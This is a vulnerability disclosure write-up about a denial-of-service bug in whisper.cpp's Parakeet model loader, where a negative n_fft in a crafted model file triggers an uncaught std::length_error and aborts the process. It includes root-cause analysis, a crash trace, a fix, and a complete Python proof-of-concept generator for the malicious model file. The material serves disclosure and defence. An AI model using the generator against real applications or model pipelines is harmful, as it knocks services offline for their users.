A Denial-of-Service in whisper.cpp's Parakeet Model Loader
A crafted model file with a negative n_fft makes whisper.cpp's Parakeet loader call std::vector::resize() with SIZE_MAX, throwing std::length_error outside the loader's try/catch and aborting the process. Found, reproduced against upstream, and reported with a PoC.
This is a writeup of a denial-of-service vulnerability I found and reported in the Parakeet model loader in whisper.cpp. Loading a crafted model file aborts the process during initialization. The full proof of concept — a model-file generator and a harness — is in my repo: CVE_Parakeet_PoC.
I want to be precise about scope up front: this is a denial of service, not code execution or memory corruption. The impact is a reliable process abort caused by trusting attacker-controlled model metadata before it’s validated. Suggested classification: CWE-20 (Improper Input Validation), with CWE-248 (Uncaught Exception) as the related weakness.
Disclosure status: reported upstream, with a CVE assignment pending. I’ll update this post with the number once it’s assigned.
The bug in one sentence
The loader reads the n_fft hyperparameter straight out of the model file and uses it to size internal buffers; a negative value becomes a gigantic size_t, std::vector::resize() throws, and the throwing call sits outside the loader’s try/catch, so the exception is uncaught and the process calls std::terminate.
Why it matters
This is only interesting if Parakeet model files cross a trust boundary — but for a model loader, they often do. An attacker who can get a target application to load a crafted model can kill it during initialization. Realistic cases:
- A service that accepts user-provided model files, bundles, or paths and loads them server-side.
- A desktop or CLI app that opens downloaded or community-provided models.
- A pipeline that fetches model artifacts from external registries, shared storage, or user-controlled directories.
The upstream examples/parakeet-cli is a concrete, project-provided path: it takes -m, --model FILE and passes it straight to parakeet_init_from_file_with_params() before it ever touches audio. I verified the abort through that CLI too (more below).
Root cause
n_fft is read verbatim from the file and never checked:
1
2
// src/parakeet.cpp:1013 (inside parakeet_model_load)
read_safe(loader, hparams.n_fft);
Later it’s used as a buffer size in the mel-spectrogram cache:
1
2
3
4
5
6
7
8
// src/parakeet.cpp:480
void init(int fft_size) {
n_fft = fft_size;
sin_vals.resize(n_fft); // signed int, implicitly converted to size_t
cos_vals.resize(n_fft);
hann_window.resize(n_fft);
...
}
n_fft is a signed int. When it’s -1, the conversion to the size_t parameter of resize() widens it to 18446744073709551615 (SIZE_MAX). resize() can’t allocate that and throws std::length_error.
The part that turns a handled error into a crash is where the cache gets initialized. The try/catch that guards model loading closes, and then the cache is initialized:
1
2
3
4
5
6
7
8
9
10
11
12
13
// src/parakeet.cpp:3096
try {
model_loaded = parakeet_model_load(loader, *ctx);
} catch (const std::exception & e) {
...
} catch (...) {
...
} // 3102 — guard ends here
if (!model_loaded) { ... return nullptr; }
// src/parakeet.cpp:3114 — OUTSIDE the try/catch above
ctx->mel_cache.init(ctx->model.hparams.n_fft);
So the invalid n_fft survives loading, init() throws at parakeet.cpp:482, nothing catches it, and whisper.cpp’s global terminate handler prints a backtrace and calls abort().
Proof of concept
The PoC is two small files. A generator writes a minimal Parakeet model with n_fft = -1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct
MAGIC = 0x67676d6c # GGML "ggml"
def i32(v): return struct.pack('<i', v)
def make_model(n_fft_value, filename):
buf = bytearray()
buf += struct.pack('<I', MAGIC)
# 15 hparams in read order (parakeet.cpp:1006-1020); n_fft is the 8th
for v in [2,0,1,1,0,1,0, n_fft_value, 1,1,1,1,1,1,1]:
buf += i32(v)
buf += i32(1); buf += i32(1); buf += struct.pack('<f', 0.0) # mel filters
buf += i32(0) # window function
buf += struct.pack('<I', 1) # tdt_durations
buf += i32(2) # vocab: 2 tokens
for tok in [b"a", b"b"]:
buf += struct.pack('<I', len(tok)); buf += tok
open(filename, 'wb').write(buf)
make_model(-1, "poc_nfft_neg1.bin")
The crafted file uses no tensor data, which reaches the loader’s “empty model” path that returns success — so control reaches mel_cache.init(n_fft) with the attacker-controlled value. That’s the point: n_fft is trusted before the loader has proven the model is valid. A harness then loads it through the public buffer API:
1
2
struct parakeet_context* ctx =
parakeet_init_from_buffer_with_params_no_state(buf.data(), buf.size(), p);
Reproducing it against upstream
I built upstream ggml-org/whisper.cpp at commit 6fc7c33b with AddressSanitizer and ran both the harness and the real CLI. Both aborted with exit status 134 (SIGABRT), the CLI doing so before it opened any audio file. The verified stack:
1
2
3
4
5
6
7
8
terminate called after throwing an instance of 'std::length_error'
what(): vector::_M_default_append
#12 std::vector<float>::resize (__new_size=18446744073709551615)
#13 parakeet_mel_cache::init (fft_size=-1) src/parakeet.cpp:482
#14 parakeet_init_with_params_no_state src/parakeet.cpp:3114
#15 parakeet_init_from_buffer_with_params_no_state src/parakeet.cpp:3081
#16 main run_poc.cpp
-1 widened to SIZE_MAX at resize(), std::length_error thrown from init() at line 482, uncaught because the call at 3114 is outside the guard, process aborts.
Fix
Validate n_fft the moment it’s read, and reject the model cleanly instead of crashing:
1
2
3
4
5
read_safe(loader, hparams.n_fft);
if (hparams.n_fft <= 0 || hparams.n_fft > PARAKEET_MAX_N_FFT /* e.g. 65536 */) {
PARAKEET_LOG_ERROR("%s: invalid model (bad n_fft %d)\n", __func__, hparams.n_fft);
return false;
}
Additionally, mel_cache.init() at line 3114 should either move inside the load’s try/catch, or the load path should guarantee n_fft is already validated before it’s reached, so no invalid value can ever propagate an uncaught exception.
One more thing I noted but did not turn into a working PoC: n_fft is also used later, unvalidated, as a divisor and table index in the DFT/FFT routines (parakeet.cpp:2597–2659) reached during inference. Values like 0 (division by zero) or a value inconsistent with the frame size (out-of-bounds indexing) look problematic there too — but since I don’t have a reliable proof of concept for the inference path, this report stays limited to the load-time abort I actually demonstrated. The validation above would also cover the 0 case.
What this one taught me
The memory-unsafety angle gets all the attention, but a huge number of real-world vulnerabilities are exactly this shape: a value from an untrusted file used before it’s checked. No shellcode, no ROP — just a signed int, an implicit widening conversion, and an exception thrown one line outside the handler that would have caught it. Finding it was mostly about reading the loader carefully and asking “what in this file do I control, and where does it get used before anyone validates it?” The answer was n_fft, and the rest followed.